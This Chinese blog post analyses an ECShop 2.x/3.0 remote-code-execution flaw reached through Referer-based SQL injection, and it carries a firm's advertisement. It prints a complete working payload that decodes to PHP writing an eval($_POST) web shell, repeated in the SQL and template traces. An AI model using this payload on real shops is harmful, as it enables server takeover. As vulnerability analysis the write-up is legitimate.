今天就跟大家聊聊有关如何进行ECShop 2.x 3.0代码执行漏洞分析，可能很多人都不太了解，为了让大家更加了解，小编给大家总结了以下内容，希望大家根据这篇文章可以有所收获。
创新互联成立与2013年，我们提供高端网站建设、微信平台小程序开发、电商视觉设计、APP应用开发及网络营销搜索优化服务，在传统互联网与移动互联网发展的背景下，我们坚守着用标准的设计方案与技术开发实力作基础，以企业及品牌的互联网商业目标为核心，为客户打造具商业价值与用户体验的互联网+产品。
ECShop是一款B2C独立网店系统，适合企业及个人快速构建个性化网上商店。2.x版本跟3.0版本存在代码执行漏洞。
ECShop 没有对 $GLOBAL[‘_SERVER’][‘HTTP_REFERER’] 变量进行验证，导致用户可以将任意代码插入的user_passport.dwt模板中，随后insert_mod根据模板内容动态执行相应的函数，用户插入恶意代码导致模板动态执行了lib_insert下的 insert_ads 方法，通过SQL注入，返回构造的执行代码，致使后面调用cls_template模板类的fetch函数，成功执行恶意代码。
IDE : PHPStorm
PHP: 5.4
ECshop 3.0
ECShop 2.7.3
首先过一下整体的功能，进入到user.php中。
正常情况下，程序会将$GLOBALS[‘_SERVER’][‘HTTP_REFERER’] 赋值给了$back_act，接着通过cls_template模板类的assign和display进行赋值和和传值给了user_passport.dwt页面模板；这时候user_passport.dwt页面模板的内容是这样子的。
进入到$smarty->display中，通过inser_mod的分割和反序列之后动态调用函数获得购物信息和会员信息，将会默认执行user_passport.dw上面的两个函数，即lib_insert函数类下的insert_cart_info和insert_member_info函数。
insert_cart_info函数//调用购物信息 insert_member_info函数 //调用会员信息
user_passport.dw模板：
inser_mod函数：
45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7B24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A7A4975634768774A79776E50443977614841675A585A686243676B58314250553152624D5445784D5630704F79412F506963702729293B2F2F7D787878,10-- -";s:2:"id";s:3:"'/*";}在user.php 中的通过执行登陆操作的时候，将$GLOBALS[‘_SERVER’][‘HTTP_REFERER’]的值修改为我们的代码：
这时候$back_act的值就是我们篡改之后的REFERER值了，之后程序会继续执行：
$smarty->assign('back_act', $back_act); //赋值
$smarty->display('user_passport.dwt'); //传值到模板上经过assign，display的赋值和传值之后，这时候user_passport.dwt模板上的back_act值是这样的：
在观察堆栈参数的时候，可以观察到this->_echash 的值跟我们的Payload的值是一样的，这是ECSHOP的固定的HASH值，2.7版本的_echash值为554fcae493e564ee0dc75bdf2ebf94ca而3.x版本的_echash值为45ea207d7a2b68c49582d2d22adf953，所以所用的Payload也不一样。
进入到display函数中，会执行fetch函数，获得页面模板内容；
$out = $this->fetch($filename, $cache_id); //根据$cache_id获取模板内容也就是user_passport.dwt的内容
接着按照_echash的值也就是固定hash值进行分割；
分割完之后程序会先执行两个默认函数，然后才执行我们的代码，继续执行insert_mod函数 。
$k[$key] = $this->insert_mod($val);
跟进，可以看到我们输入的字符串根据“|”进行了分割，并分别赋值给了$fun和$para
所以最后的到的值类似于$fun = insert_ads $para = array(‘num’=>”*/union…”,’id’=>”*/”)
到了return $fun($para);这里，将会执行lib_insert动态函数类下的 insert_ads($para)函数。
跟进，可以看到这里执行了SQL语句，而$arr[‘id’]和$arr[‘num’]这两个参数正是我们传进来的数组中的内容，参数可控，从而导致了注入。
这时候在数据库中，执行的语句为：
SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM `ecshop3_0`.`ecs_ad` AS a LEFT JOIN `ecshop3_0`.`ecs_ad_position` AS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1536052713' AND end_time >= '1536052713' AND a.position_id = ''/*' ORDER BY rnd LIMIT */ union select 1,0x272f2a,3,4,5,6,7,8,0x,0x272f2a,3,4,5,6,7,8,0x7B24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A7A4975634768774A79776E50443977614841675A585A686243676B58314250553152624D5445784D5630704F79412F506963702729293B2F2F7D787878,10-- -
可以看到数据库的position_id和position_style字段分别被union select 查询覆盖为了'/* 和{$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzIucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTExMV0pOyA/Picp'));//}xxx
查询结束之后,根据$position_style的值执行了cls_template模板类的fetch函数。
$val = $GLOBALS[‘smarty’]->fetch($position_style); //执行了smarty的fetch函数
跟进，看到这里，这里最终执行了恶意代码。
$out = $this->_eval($this->fetch_str(substr($filename, 4))); //最终执行了语句
看一下内部的字符串处理，传入filename的值为：
” str:{$asd’];assert(base64_decode(‘ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp’));//}xxx”然后使用substr对filenname进行切割，接着进入到$this->fetch_str中，可以看到fetch_str函数的返回内容为格式的。
在跟入到$this->get_val中，执行了$p = $this->make_var($val); ，跟入到make_var函数中。
字符串处理最后返回的值为：
$this->_var['asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzIucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTExMV0pOyA/Picp'));//']拼接在一起，最后返回的数据为：
_var['asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzIucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTExMV0pOyA/Picp'));//>从而最终导致了代码执行。
在ECShop3.6版本中insert_ads函数对$arr[‘num’]和$arr[‘id’]进行了强制类型转换。
$arr[‘num’] = intval($arr[‘num’]); $arr['id'] = intval($arr['id']);
看完上述内容，你们对如何进行ECShop 2.x 3.0代码执行漏洞分析有进一步的了解吗？如果还想了解更多知识或者相关内容，请关注创新互联行业资讯频道，感谢大家的支持。
